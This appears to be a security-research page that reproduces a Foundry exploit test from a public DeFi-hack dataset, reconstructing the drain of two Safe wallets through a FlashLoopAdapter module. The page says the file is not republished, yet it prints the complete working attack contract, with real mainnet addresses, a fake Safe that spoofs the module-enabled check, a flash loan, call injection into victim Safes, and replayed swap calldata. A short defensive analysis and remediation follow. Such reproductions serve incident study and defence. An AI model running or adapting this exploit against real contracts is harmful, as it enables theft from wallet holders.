Public reproduction file
src/test/2026-10/FlashLoopAdapter_exp.sol
Public reproduction listed for "FlashLoopAdapter: a spoofable caller check in a Safe module". It targets live contracts, so ThreatWire does not republish it. This page keeps the provenance and links to our non-operational analysis instead.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import {IERC20} from "forge-std/interfaces/IERC20.sol";7// Run: forge test --contracts src/test/2026-10/FlashLoopAdapter_exp.sol --evm-version cancun -vvv8// (cancun is required: the deployed adapter uses transient storage / TSTORE.)9//10// FlashLoopAdapter - a Safe MODULE that authenticates its caller by ASKING THE CALLER11// (ISafe(msg.sender).isModuleEnabled(address(this))) instead of checking a known Safe, and then12// makes a raw low-level call to a caller-supplied swapRouter with caller-supplied calldata. The two13// together let anyone turn the adapter into a confused deputy against any REAL Safe that legitimately14// enabled it. Ethereum, 2026-10-01. Attacker nets 114.096 WETH (~$305k); two victim Safes are emptied.15//16// Attack tx : 0x75328f916b1a0878724d364da5eb12b255160b894cb36c63ed5d718efc616fc4 (block 26098264)17// Attacker EOA : 0x42c2633438609881c8fBAb82414eb9A0c45F935318// Attacker contr : 0xF09168963ac7b31917A02Aa82fA9Cd667F4B67ff (the fake "Safe"/"Morpho"/"Pool")19// FlashLoopAdapter: 0x16bb8B912da187870C23eC6756bB3FAd061283d8 (VERIFIED on Etherscan, solc 0.8.28)20// Victim Safe #1 : 0xCFeDF95a3653a128dFC2E4288758A1a1850D169f (1306.48 weETH Aave collateral, 1335.26 WETH debt)21// Victim Safe #2 : 0xE3b23E47dF7cD85876aC6cB05BDb9d7cd5b28520 (6.426 weETH held as plain tokens)22// WETH : 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 (debt asset, flashed)23// weETH : 0xCd5fE23C85820F7B72D0926FC9b05b43E359b7ee (collateral asset)24// Aave v3 Pool : 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E225// Morpho Blue : 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb (real fee-free WETH flash source)26// ODOS router : 0x6A000F20005980200259B80c5102003040001068 (weETH -> WETH swap leg)27//28// ROOT CAUSE (verified against the verified adapter source + the on-chain trace):29// FlashLoopAdapter._start (the shared body of open()/close()) authenticates the caller with:30//31// if (!ISafe(msg.sender).isModuleEnabled(address(this))) revert ModuleNotEnabled();32// _safe = msg.sender;33//34// This is SELF-ATTESTATION, not authentication: it trusts msg.sender to say whether msg.sender35// has the adapter enabled. A one-line fake contract whose isModuleEnabled() always returns true36// passes it, and the adapter then treats that fake as the Safe it drives.37//38// Second flaw, FlashLoopAdapter._swap:39// IERC20(tokenIn).approve(router, type(uint256).max);40// (bool ok, bytes memory ret) = router.call(data); // router + data are caller-supplied41// No allowlist on `router`, no restriction on `data`. The attacker sets swapRouter = a REAL victim42// Safe and swapCalldata = victimSafe.execTransactionFromModule(target, 0, innerCall, 0). Because the43// adapter is a genuinely enabled module on that victim Safe (the victims opted in), the victim Safe44// accepts the call as coming from an enabled module and runs innerCall AS ITSELF.45//46// The attacker contract also sets providerAddr = pool = itself, so every OTHER thing the adapter47// does (the flash loan, the Aave supply/borrow, the module execs onto "the Safe") hits the attacker48// contract and is a no-op. flashAmount is set to 0 so the borrow/repay legs move nothing. The only49// real external effect of the whole open() call is the single _swap -> victimSafe.execTx... drain.50//51// FULL ATTACKER SEQUENCE (one atomic tx, reconstructed below from the real trace):52// 1. real Morpho Blue WETH flash loan.53// 2. permissionlessly repay Victim #1's entire WETH debt to Aave (unlocks its weETH collateral).54// 3. adapter.open() with swapRouter = Victim #2 -> forces Victim #2 to weETH.transfer() its 6.42655// weETH to the attacker.56// 4. adapter.open() with swapRouter = Victim #1 -> forces Victim #1 to pool.withdraw() its 1306.4857// weETH collateral to the attacker.58// 5. swap the 1312.908 weETH -> 1449.352 WETH via ODOS (exact original calldata, replayed).59// 6. repay the Morpho flash. Net: 1449.352 - 1335.256 = 114.096 WETH left with the attacker.60//61// NOT a key/signature compromise: the victims' owners never signed anything here. Every drain call is62// authorised purely by the adapter being an enabled module plus the broken self-attestation check. No63// vm.prank of any victim/owner, no private key, no signature is used anywhere below.65interface IFlashLoopAdapter {66 enum Provider {MORPHO, BALANCER_V2, AAVE_SIMPLE}67 enum Op {OPEN, CLOSE}69 struct Params {70 Op op;71 Provider provider;72 address providerAddr;73 address pool;74 address collateral;75 address debt;76 uint256 flashAmount;77 address swapRouter;78 bytes swapCalldata;79 uint256 minOut;80 uint8 emodeId;81 uint256 withdrawAmount;82 }84 function open(Params calldata p) external;85 function onMorphoFlashLoan(uint256 assets, bytes calldata data) external;86}88interface IMorpho {89 function flashLoan(address token, uint256 assets, bytes calldata data) external;90}92interface IAavePool {93 function repay(address asset, uint256 amount, uint256 rateMode, address onBehalfOf) external returns (uint256);94 function withdraw(address asset, uint256 amount, address to) external returns (uint256);95}97interface ISafe {98 function execTransactionFromModule(address to, uint256 value, bytes calldata data, uint8 operation)99 external100 returns (bool);101}103contract FlashLoopAdapterExploit is BaseTestWithBalanceLog {104 address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;105 address constant WEETH = 0xCd5fE23C85820F7B72D0926FC9b05b43E359b7ee;106 address constant ADAPTER = 0x16bb8B912da187870C23eC6756bB3FAd061283d8;107 address constant AAVE_POOL = 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2;108 address constant MORPHO = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;109 address constant ODOS = 0x6A000F20005980200259B80c5102003040001068;110 address constant VICTIM1 = 0xCFeDF95a3653a128dFC2E4288758A1a1850D169f;111 address constant VICTIM2 = 0xE3b23E47dF7cD85876aC6cB05BDb9d7cd5b28520;113 AttackerModule internal atk;115 function setUp() public {116 // block before the attack tx; warp to the attack block's own timestamp so Victim #1's117 // rebasing aWeETH balance equals what the real attacker withdrew (and what the replayed118 // ODOS calldata expects to pull).119 vm.createSelectFork("https://eth.drpc.org", 26_098_263);120 vm.warp(1_790_867_327);121 vm.roll(26_098_264);123 atk = new AttackerModule();124 fundingToken = WETH;125 attacker = address(atk);126 }128 function testExploit() public balanceLog {129 atk.attack(ODOS_CALLDATA);131 // profit lands as WETH on the attacker contract, pre-gas, as read from the trace.132 uint256 profit = IERC20(WETH).balanceOf(address(atk));133 emit log_named_decimal_uint("Attacker profit (WETH)", profit, 18);134 assertApproxEqRel(profit, 114.092 ether, 0.01e18, "profit should match reported ~114.09 ETH");135 }137 // exact weETH -> WETH ODOS route taken by the real attacker, lifted verbatim from the attack tx138 // (recipient is msg.sender, so replaying it credits this test's attacker contract).139 bytes constant ODOS_CALLDATA =140 hex"e3ead59e000000000000000000000000082738d007001080a00099a000004f3006152085000000000000000000000000cd5fe23c85820f7b72d0926fc9b05b43"141 hex"e359b7ee000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc20000000000000000000000000000000000000000000000472c25c9f5"142 hex"2a5a000000000000000000000000000000000000000000000000004dc8aab4a21c7cc2ee00000000000000000000000000000000000000000000004e91ce0bca"143 hex"896193c50d080328080c4a2fb689af26cac35e31000000000000000000000000018e3a4d00000000000000000000000000000000000000000000000000000000"144 hex"00000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000"145 hex"00000160000000000000000000000000000000000000000000000000000000000000018000000000000000000000000000000000000000000000000000000000"146 hex"000000000000000000000000000000000000000000000000000000000000000000000cc000000000000000000000000000000000000000000000000000000000"147 hex"000000200000000000000000000000000000000000000000000000000000000000000cc000000000000000000000000000000580000000000000016c00000000"148 hex"0000264800000000000000000000000000000000000000000000056005040144000a000300000000000000000000000000000000000000000000000000000000"149 hex"00000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000"150 hex"000005000000000000000000000000000000018000000000000000cc0000000000000595db74dfdd3bb46be8ce6c33dc9d82777bcfc3ded5000000e0004400a4"151 hex"ff00000b000000000000000000000000000000000000000000000000000000003df0212400000000000000000000000000000000000000000000000000000000"152 hex"000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009f795fe54"153 hex"3ab990000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000cd5fe23c85820f7b72d0926fc9b05b43"154 hex"e359b7ee000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2c02aaa39b223fe8d0a0e5c4f27ead9083c756cc20000006000240000"155 hex"ff00000300000000000000000000000000000000000000000000000000000000a9059cbb0000000000000000000000006a000f20005980200259b80c51020030"156 hex"4000106800000000000000000000000000000000000000000000000b00081caecd968cb1000000000000000000000000000001c000000000000000cc00000000"157 hex"00001cb386f874212335af27c41cdb855c2255543d1499ce000000e0002400000000000700000000000000000000000000000000000000000000000000000000"158 hex"2668dfaa00000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000333e9d981a"159 hex"6434f0000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000082738d007001080a00099a000004f30"160 hex"06152085000000000000000000000000cd5fe23c85820f7b72d0926fc9b05b43e359b7ee000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead908"161 hex"3c756cc2c02aaa39b223fe8d0a0e5c4f27ead9083c756cc20000002000040000ff00000900000000000000000000000000000000000000000000000000000000"162 hex"d0e30db0c02aaa39b223fe8d0a0e5c4f27ead9083c756cc20000006000240000ff00000300000000000000000000000000000000000000000000000000000000"163 hex"a9059cbb0000000000000000000000006a000f20005980200259b80c510200304000106800000000000000000000000000000000000000000000003891cc99cc"164 hex"3fab8b0000000000000000000000000000000160000000000000012000000000000004c8e592427a0aece92de3edee1f18e0157c058615640000014000840000"165 hex"0000000300000000000000000000000000000000000000000000000000000000c04b8d5900000000000000000000000000000000000000000000000000000000"166 hex"0000002000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000006a000f20005980200259b80c51020030"167 hex"40001068000000000000000000000000000000000000000000000000000000006ac7b181000000000000000000000000000000000000000000000008898b0ba5"168 hex"7b368000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000"169 hex"0000002bcd5fe23c85820f7b72d0926fc9b05b43e359b7ee000064c02aaa39b223fe8d0a0e5c4f27ead9083c756cc20000000000000000000000000000000000"170 hex"00000000000000000000000000000000000006c0000000000000000000000000000000c8cd5fe23c85820f7b72d0926fc9b05b43e359b7ee0000006000240000"171 hex"ff00000300000000000000000000000000000000000000000000000000000000a9059cbb00000000000000000000000066a9893cc07d91d95644aedd05d03f95"172 hex"e1dba8af0000000000000000000000000000000000000000000000016c6727e11035000066a9893cc07d91d95644aedd05d03f95e1dba8af0000048002e40224"173 hex"ff00000b0000000000000000000000000000000000000000000000000000000024856bc300000000000000000000000000000000000000000000000000000000"174 hex"00000040000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000"175 hex"00000001100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"176 hex"00000001000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000"177 hex"00000380000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000"178 hex"000000800000000000000000000000000000000000000000000000000000000000000003060b0e00000000000000000000000000000000000000000000000000"179 hex"00000000000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000"180 hex"0000006000000000000000000000000000000000000000000000000000000000000001e000000000000000000000000000000000000000000000000000000000"181 hex"00000260000000000000000000000000000000000000000000000000000000000000016000000000000000000000000000000000000000000000000000000000"182 hex"000000200000000000000000000000007f39c581f595b53c5cb19bd0b3f8da6c935e2ca0000000000000000000000000cd5fe23c85820f7b72d0926fc9b05b43"183 hex"e359b7ee000000000000000000000000000000000000000000000000000000000000006400000000000000000000000000000000000000000000000000000000"184 hex"00000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"185 hex"000000000000000000000000000000000000000000000000000000016c6727e11035000000000000000000000000000000000000000000000000000000000000"186 hex"00000000000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000"187 hex"000000000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000cd5fe23c85820f7b72d0926fc9b05b43"188 hex"e359b7ee000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"189 hex"0000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000007f39c581f595b53c5cb19bd0b3f8da6c"190 hex"935e2ca0000000000000000000000000082738d007001080a00099a000004f300615208500000000000000000000000000000000000000000000000000000000"191 hex"000000000b1a513ee24972daef112bc777a5610d4325c9e7000000c0002400000000000700000000000000000000000000000000000000000000000000000000"192 hex"2668dfaa0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000001433e7120"193 hex"3e1546b80000000000000000000000000000000000000000000000000000000000000001000000000000000000000000082738d007001080a00099a000004f30"194 hex"061520850000000000000000000000007f39c581f595b53c5cb19bd0b3f8da6c935e2ca0c02aaa39b223fe8d0a0e5c4f27ead9083c756cc20000002000040000"195 hex"ff00000900000000000000000000000000000000000000000000000000000000d0e30db0c02aaa39b223fe8d0a0e5c4f27ead9083c756cc20000006000240000"196 hex"ff00000300000000000000000000000000000000000000000000000000000000a9059cbb0000000000000000000000006a000f20005980200259b80c51020030"197 hex"4000106800000000000000000000000000000000000000000000000192426cf2c560dbe6";198}200contract AttackerModule {201 address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;202 address constant WEETH = 0xCd5fE23C85820F7B72D0926FC9b05b43E359b7ee;203 address constant ADAPTER = 0x16bb8B912da187870C23eC6756bB3FAd061283d8;204 address constant AAVE_POOL = 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2;205 address constant MORPHO = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;206 address constant ODOS = 0x6A000F20005980200259B80c5102003040001068;207 address constant VICTIM1 = 0xCFeDF95a3653a128dFC2E4288758A1a1850D169f;208 address constant VICTIM2 = 0xE3b23E47dF7cD85876aC6cB05BDb9d7cd5b28520;209 // Aave v3 variable debt WETH token - used to read Victim #1's exact outstanding debt.210 address constant VDEBT_WETH = 0xeA51d7853EEFb32b6ee06b1C12E6dcCA88Be0fFE;212 bytes internal odosCalldata;214 // ---- fakes the adapter is pointed at (providerAddr = pool = "safe" = this contract) ----216 // self-attestation target: the adapter asks US whether WE have it enabled. We lie.217 function isModuleEnabled(address) external pure returns (bool) {218 return true;219 }221 // adapter's Morpho flash source == this contract: just re-enter the adapter's callback.222 function flashLoan(address, uint256 assets, bytes calldata data) external {223 IFlashLoopAdapter(ADAPTER).onMorphoFlashLoan(assets, data);224 }226 // adapter's Aave pool == this contract: swallow supply().227 function supply(address, uint256, address, uint16) external {}229 // adapter's "Safe" == this contract: swallow the borrow / fund-repay module execs.230 function execTransactionFromModule(address, uint256, bytes calldata, uint8) external pure returns (bool) {231 return true;232 }234 // ---- real attack entrypoint ----236 function attack(bytes calldata _odos) external {237 odosCalldata = _odos;238 // Morpho Blue flash: borrow enough WETH to repay Victim #1's debt. Fee-free; repaid in callback.239 IMorpho(MORPHO).flashLoan(WETH, 1400 ether, "");240 }242 // REAL Morpho Blue flash-loan callback.243 function onMorphoFlashLoan(uint256 assets, bytes calldata) external {244 require(msg.sender == MORPHO, "not morpho");246 // (2) repay Victim #1's entire WETH debt -> unlocks its weETH collateral. Permissionless.247 // Aave v3 rejects type(uint).max when repaying on behalf of another address248 // (NoExplicitAmountToRepayOnBehalf), so pass the exact current variable debt.249 IERC20(WETH).approve(AAVE_POOL, type(uint256).max);250 uint256 v1Debt = IERC20(VDEBT_WETH).balanceOf(VICTIM1);251 IAavePool(AAVE_POOL).repay(WETH, v1Debt, 2, VICTIM1);253 // (3) drain Victim #2: force it to transfer its plain weETH balance to us.254 uint256 v2bal = IERC20(WEETH).balanceOf(VICTIM2);255 _drain(256 VICTIM2,257 WEETH,258 abi.encodeWithSelector(IERC20.transfer.selector, address(this), v2bal)259 );261 // (4) drain Victim #1: force it to withdraw its (now unlocked) weETH collateral to us.262 _drain(263 VICTIM1,264 AAVE_POOL,265 abi.encodeWithSelector(IAavePool.withdraw.selector, WEETH, type(uint256).max, address(this))266 );268 // (5) swap all drained weETH -> WETH via the attacker's original ODOS route.269 IERC20(WEETH).approve(ODOS, type(uint256).max);270 (bool ok, bytes memory ret) = ODOS.call(odosCalldata);271 if (!ok) {272 assembly {273 revert(add(ret, 0x20), mload(ret))274 }275 }277 // (6) repay the Morpho flash (Morpho pulls via transferFrom).278 IERC20(WETH).approve(MORPHO, assets);279 }281 // Build the single malicious open() call: swapRouter = victim, swapCalldata =282 // victim.execTransactionFromModule(target, 0, innerCall, 0). flashAmount = 0 so every adapter leg283 // except the _swap(router.call) is a no-op against this contract.284 function _drain(address victim, address target, bytes memory innerCall) internal {285 bytes memory execCall = abi.encodeWithSelector(286 ISafe.execTransactionFromModule.selector, target, uint256(0), innerCall, uint8(0)287 );289 IFlashLoopAdapter.Params memory p = IFlashLoopAdapter.Params({290 op: IFlashLoopAdapter.Op.OPEN,291 provider: IFlashLoopAdapter.Provider.MORPHO,292 providerAddr: address(this), // fake flash source293 pool: address(this), // fake Aave pool294 collateral: WEETH,295 debt: WETH,296 flashAmount: 0, // no real flash inside the adapter297 swapRouter: victim, // <- the real victim Safe298 swapCalldata: execCall, // <- adapter will call victim.execTransactionFromModule(...)299 minOut: 0,300 emodeId: 0,301 withdrawAmount: 0302 });304 IFlashLoopAdapter(ADAPTER).open(p);305 }306}308/*309 * ## Proof Explanation310 *311 * testExploit proves FlashLoopAdapter lets any caller drain any Safe that enabled it as a module,312 * with no key or signature compromise.313 *314 * Authentication flaw (FlashLoopAdapter._start):315 * if (!ISafe(msg.sender).isModuleEnabled(address(this))) revert ModuleNotEnabled();316 * This trusts msg.sender to self-report. AttackerModule.isModuleEnabled() returns true, so the adapter317 * accepts AttackerModule as "the Safe" and sets _safe = AttackerModule.318 *319 * Call-injection flaw (FlashLoopAdapter._swap):320 * IERC20(tokenIn).approve(router, type(uint256).max);321 * (bool ok, bytes memory ret) = router.call(data);322 * router and data are fully caller-supplied. The attacker sets router = a real victim Safe and323 * data = victim.execTransactionFromModule(target, 0, innerCall, 0). The adapter IS an enabled module on324 * each victim, so the victim executes innerCall as itself.325 *326 * The attacker also points providerAddr and pool at its own contract and sets flashAmount = 0, so the327 * adapter's flash loan, supply(), borrow() and module-exec legs all hit AttackerModule and no-op. The328 * only real effect per open() is the one _swap -> victim.execTransactionFromModule.329 *330 * Reconstructed sequence (one atomic tx):331 * 1. real Morpho Blue WETH flash loan (fee-free).332 * 2. repay Victim #1's whole WETH debt to Aave -> unlocks its weETH collateral (anyone may repay).333 * 3. open() with swapRouter = Victim #2 -> Victim #2 transfers its 6.426 weETH to the attacker.334 * 4. open() with swapRouter = Victim #1 -> Victim #1 withdraws its 1306.48 weETH collateral to the attacker.335 * 5. swap 1312.908 weETH -> 1449.352 WETH via the attacker's exact original ODOS route.336 * 6. repay the Morpho flash.337 *338 * assertApproxEqRel(profit, 114.092 ether, 0.01e18):339 * Attacker ends holding ~114.096 WETH, taken entirely from the two victims' equity (1449.352 WETH of340 * collateral sold minus 1335.256 WETH of debt repaid). Matches the reported 114.092 ETH (the small341 * delta is the reported figure being net of gas; this asserts the pre-gas on-chain profit). If either342 * flaw were fixed - real module authentication, or a swapRouter allowlist - open() would revert at the343 * self-attestation check or refuse the victim-Safe call target, and the drain (and this profit) vanish.344 */Analysis
What the file is
A Foundry test reconstructing the FlashLoopAdapter drain on an Ethereum fork at block 26,098,263. It targets live contracts and is not republished.
How it is built
Interfaces cover the adapter (open and a flash-loan callback), a Morpho-style flash loan, Aave repay and withdraw, and a Safe's module call. An attacker module contract answers the module-enabled question itself and exposes just enough of a fake Safe surface for the adapter to accept it; an entry function and a flash-loan callback then drive drains of the victim Safes.
What the test checks
It asserts a profit of about 114.092 ETH within one percent, noting the reported figure is net of gas.
Why it matters for defenders
The module authenticates its caller by asking the caller whether the module is enabled, which an attacker can answer truthfully for their own fake Safe. Callers must be authenticated against state the module owns, and external addresses must never be trusted to attest to themselves.
Our analysis, loss and remediation are in the incident record.
Contracts and transactions from the incident
- 0x16bb8b91…1283d8 FlashLoopAdapter (affected)
- 0x75328f91…616fc4 attack
Related files
12 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2026-10/BitBay_exp.solSame month in the dataset · 200 lines
- src/test/2026-10/CrowdRingCircle_exp.solSame month in the dataset · 143 lines
- src/test/2026-10/GoldPesa_exp.solSame month in the dataset · 288 lines
- src/test/2026-10/KolanHook_exp.solSame month in the dataset · 261 lines
- src/test/2026-10/MakerDAOFlipKeeper_exp.solSame month in the dataset · 215 lines
- src/test/2026-10/MALT_exp.solSame month in the dataset · 194 lines
- src/test/2026-10/MOKE_exp.solSame month in the dataset · 142 lines
- src/test/2026-10/PerpetualProtocol_exp.solSame month in the dataset · 165 lines
- src/test/2026-10/SetProtocolETHMACOAPY_exp.solSame month in the dataset · 211 lines
- src/test/2026-10/UNCXSmartTokenVesting_exp.solSame month in the dataset · 378 lines
- src/test/2026-10/X7Finance_exp.solSame month in the dataset · 160 lines
Also imports external libraries: forge-std/interfaces/IERC20.sol.
File record
- Name
- FlashLoopAdapter_exp.sol
- Path
- src/test/2026-10/FlashLoopAdapter_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 00cb00510c52fb4a1e48361903376ee7bfc27947
- Language
- Solidity
- Size
- 345 lines
- Date
- 2026-10-01
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
- Incident
- FlashLoopAdapter: a spoofable caller check in a Safe module
- Protocols
- FlashLoopAdapter
- Chains
- Ethereum
Provenance
Path src/test/2026-10/FlashLoopAdapter_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 00cb00510c52fb4a1e48361903376ee7bfc27947, retrieved 2026-10-19. Verbatim file content read with git show at the pinned commit; SPDX header preserved; stored locally for the on-site reader. ThreatWire has never executed this file. Reference: source file at the pinned commit.